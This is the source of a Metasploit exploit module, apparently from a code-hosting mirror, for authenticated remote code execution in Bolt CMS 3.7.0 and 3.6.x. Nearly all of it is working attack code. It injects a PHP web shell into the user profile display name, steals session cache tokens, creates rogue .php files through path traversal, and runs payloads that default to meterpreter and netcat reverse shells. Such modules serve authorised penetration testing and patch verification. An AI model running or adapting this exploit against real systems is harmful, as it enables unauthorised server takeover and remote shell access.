Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/bolt_authenticated_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = GreatRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',18'Description' => %q{19This module exploits multiple vulnerabilities in Bolt CMS version 3.7.020and 3.6.* in order to execute arbitrary commands as the user running Bolt.2122This module first takes advantage of a vulnerability that allows an23authenticated user to change the username in /bolt/profile to a PHP24`system($_GET[""])` variable. Next, the module obtains a list of tokens25from `/async/browse/cache/.sessions` and uses these to create files with26the blacklisted `.php` extention via HTTP POST requests to27`/async/folder/rename`. For each created file, the module checks the HTTP28response for evidence that the file can be used to execute arbitrary29commands via the created PHP $_GET variable. If the response is negative,30the file is deleted, otherwise the payload is executed via an HTTP31get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`3233Valid credentials for a Bolt CMS user are required. This module has been34successfully tested against Bolt CMS 3.7.0 running on CentOS 7.35},36'License' => MSF_LICENSE,37'Author' => [38'Sivanesh Ashok', # Discovery39'r3m0t3nu11', # PoC40'Erik Wynter' # @wyntererik - Metasploit41],42'References' => [43['EDB', '48296'],44['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok45],46'Platform' => ['linux', 'unix'],47'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],48'Targets' => [49[50'Linux (x86)', {51'Arch' => ARCH_X86,52'Platform' => 'linux',53'DefaultOptions' => {54'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'55}56}57],58[59'Linux (x64)', {60'Arch' => ARCH_X64,61'Platform' => 'linux',62'DefaultOptions' => {63'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'64}65}66],67[68'Linux (cmd)', {69'Arch' => ARCH_CMD,70'Platform' => 'unix',71'DefaultOptions' => {72'PAYLOAD' => 'cmd/unix/reverse_netcat'73}74}75]76],77'Privileged' => false,78'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time79'DefaultOptions' => {80'RPORT' => 8000,81'WfsDelay' => 582},83'DefaultTarget' => 2,84'Notes' => {85'NOCVE' => ['0day'],86'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service87'Reliability' => [REPEATABLE_SESSION],88'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]89}90)91)9293register_options [94OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),95OptString.new('USERNAME', [true, 'Username to authenticate with', false]),96OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),97OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])98]99end100101def check102# obtain token and cookie required for login103res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')104105return CheckCode::Unknown('Connection failed') unless res106107unless res.code == 200 && res.body.include?('Sign in to Bolt')108return CheckCode::Safe('Target is not a Bolt CMS application.')109end110111html = res.get_html_document112token = html.at('input[@id="user_login__token"]')['value']113cookie = res.get_cookies114115# perform login116res = send_request_cgi({117'method' => 'POST',118'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),119'cookie' => cookie,120'vars_post' => {121'user_login[username]' => datastore['USERNAME'],122'user_login[password]' => datastore['PASSWORD'],123'user_login[login]' => '',124'user_login[_token]' => token125}126})127128return CheckCode::Unknown('Connection failed') unless res129130unless res.code == 302 && res.body.include?('Redirecting to /bolt')131return CheckCode::Unknown('Failed to authenticate to the server.')132end133134@cookie = res.get_cookies135return unless @cookie136137# visit profile page to obtain user_profile token and user email138res = send_request_cgi({139'method' => 'GET',140'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),141'cookie' => @cookie142})143144return CheckCode::Unknown('Connection failed') unless res145146unless res.code == 200 && res.body.include?('<title>Profile')147return CheckCode::Unknown('Failed to authenticate to the server.')148end149150html = res.get_html_document151152@email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile153unless @email # create fake email if this value is not found154@email = Rex::Text.rand_text_alpha_lower(5..8)155@email << "@#{@email}."156@email << Rex::Text.rand_text_alpha_lower(2..3)157print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")158end159160@profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)161162if !@profile_token || @profile_token.to_s.empty?163return CheckCode::Unknown('Authentication failure.')164end165166# change user profile to a php $_GET variable167@php_var_name = Rex::Text.rand_text_alpha_lower(4..6)168res = send_request_cgi({169'method' => 'POST',170'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),171'cookie' => @cookie,172'vars_post' => {173'user_profile[password][first]' => datastore['PASSWORD'],174'user_profile[password][second]' => datastore['PASSWORD'],175'user_profile[email]' => @email,176'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",177'user_profile[save]' => '',178'user_profile[_token]' => @profile_token179}180})181182return CheckCode::Unknown('Connection failed') unless res183184# visit profile page again to verify the changes185res = send_request_cgi({186'method' => 'GET',187'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),188'cookie' => @cookie189})190191return CheckCode::Unknown('Connection failed') unless res192193unless res.code == 200 && res.body.include?("php system($_GET['#{@php_var_name}'")194return CheckCode::Unknown('Authentication failure.')195end196197CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")198end199200def exploit201csrf202unless @csrf_token && !@csrf_token.empty?203fail_with Failure::NoAccess, 'Failed to obtain CSRF token'204end205vprint_status("Found CSRF token: #{@csrf_token}")206207file_tokens = obtain_cache_tokens208unless file_tokens && !file_tokens.empty?209fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'210end211print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")212213token_results = try_tokens(file_tokens)214unless token_results && !token_results.empty?215fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'216end217218valid_token = token_results[0]219@rogue_file = token_results[1]220221print_good("Used token #{valid_token} to create #{@rogue_file}.")222if target.arch.first == ARCH_CMD223execute_command(payload.encoded)224else225execute_cmdstager226end227end228229def csrf230# visit /bolt/overview/showcases to get csrf token231res = send_request_cgi({232'method' => 'GET',233'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),234'cookie' => @cookie235})236237fail_with Failure::Unreachable, 'Connection failed' unless res238239unless res.code == 200 && res.body.include?('Showcases')240fail_with Failure::NoAccess, 'Failed to obtain CSRF token'241end242243html = res.get_html_document244@csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']245end246247def obtain_cache_tokens248# obtain tokens for creating rogue .php files from cache249res = send_request_cgi({250'method' => 'GET',251'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),252'cookie' => @cookie253})254255fail_with Failure::Unreachable, 'Connection failed' unless res256257unless res.code == 200 && res.body.include?('entry disabled')258fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'259end260261html = res.get_html_document262entries = html.search('tr')263tokens = []264entries.each do |e|265token = e.at('span[@class="entry disabled"]').text.strip266size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]267tokens.append(token) if size.to_i >= 2000268end269270tokens271end272273def try_tokens(file_tokens)274# create .php files and check if any of them can be used for RCE via the username $_GET variable275file_tokens.each do |token|276file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present277file_name = Rex::Text.rand_text_alpha_lower(8..12)278file_name << '.php'279280# use token to create rogue .php file by 'renaming' a file from cache281res = send_request_cgi({282'method' => 'POST',283'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),284'cookie' => @cookie,285'vars_post' => {286'namespace' => 'root',287'parent' => '/app/cache/.sessions',288'oldname' => token,289'newname' => "#{file_path}/#{file_name}",290'token' => @csrf_token291}292})293294fail_with Failure::Unreachable, 'Connection failed' unless res295296next unless res.code == 200 && res.body.include?(file_name)297298# check if .php file contains an empty `displayname` value. If so, cmd execution should work.299res = send_request_cgi({300'method' => 'GET',301'uri' => normalize_uri(target_uri.path, 'files', file_name),302'cookie' => @cookie303})304305fail_with Failure::Unreachable, 'Connection failed' unless res306307# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number308unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)309delete_file(file_name)310next311end312313return token, file_name314end315316nil317end318319def execute_command(cmd, _opts = {})320if target.arch.first == ARCH_CMD321print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")322end323324res = send_request_cgi({325'method' => 'GET',326'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),327'cookie' => @cookie,328'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout329}, 3.5)330331# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number332unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)333print_warning('No response, may have executed a blocking payload!')334return335end336337print_good('Payload executed!')338end339340def cleanup341super342343# delete rogue .php file used for execution (if present)344delete_file(@rogue_file) if @rogue_file345346return unless @profile_token347348# change user profile back to original349res = send_request_cgi({350'method' => 'POST',351'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),352'cookie' => @cookie,353'vars_post' => {354'user_profile[password][first]' => datastore['PASSWORD'],355'user_profile[password][second]' => datastore['PASSWORD'],356'user_profile[email]' => @email,357'user_profile[displayname]' => datastore['USERNAME'].to_s,358'user_profile[save]' => '',359'user_profile[_token]' => @profile_token360}361})362363unless res364print_warning('Failed to revert user profile back to original state.')365return366end367368# visit profile page again to verify the changes369res = send_request_cgi({370'method' => 'GET',371'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),372'cookie' => @cookie373})374375unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)376print_warning('Failed to revert user profile back to original state.')377end378379print_good('Reverted user profile back to original state.')380end381382def delete_file(file_name)383res = send_request_cgi({384'method' => 'POST',385'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),386'cookie' => @cookie,387'vars_post' => {388'namespace' => 'files',389'filename' => file_name,390'token' => @csrf_token391}392})393394unless res && res.code == 200 && res.body.include?(file_name)395print_warning("Failed to delete file #{file_name}. Manual cleanup required.")396end397398print_good("Deleted file #{file_name}.")399end400401end402403404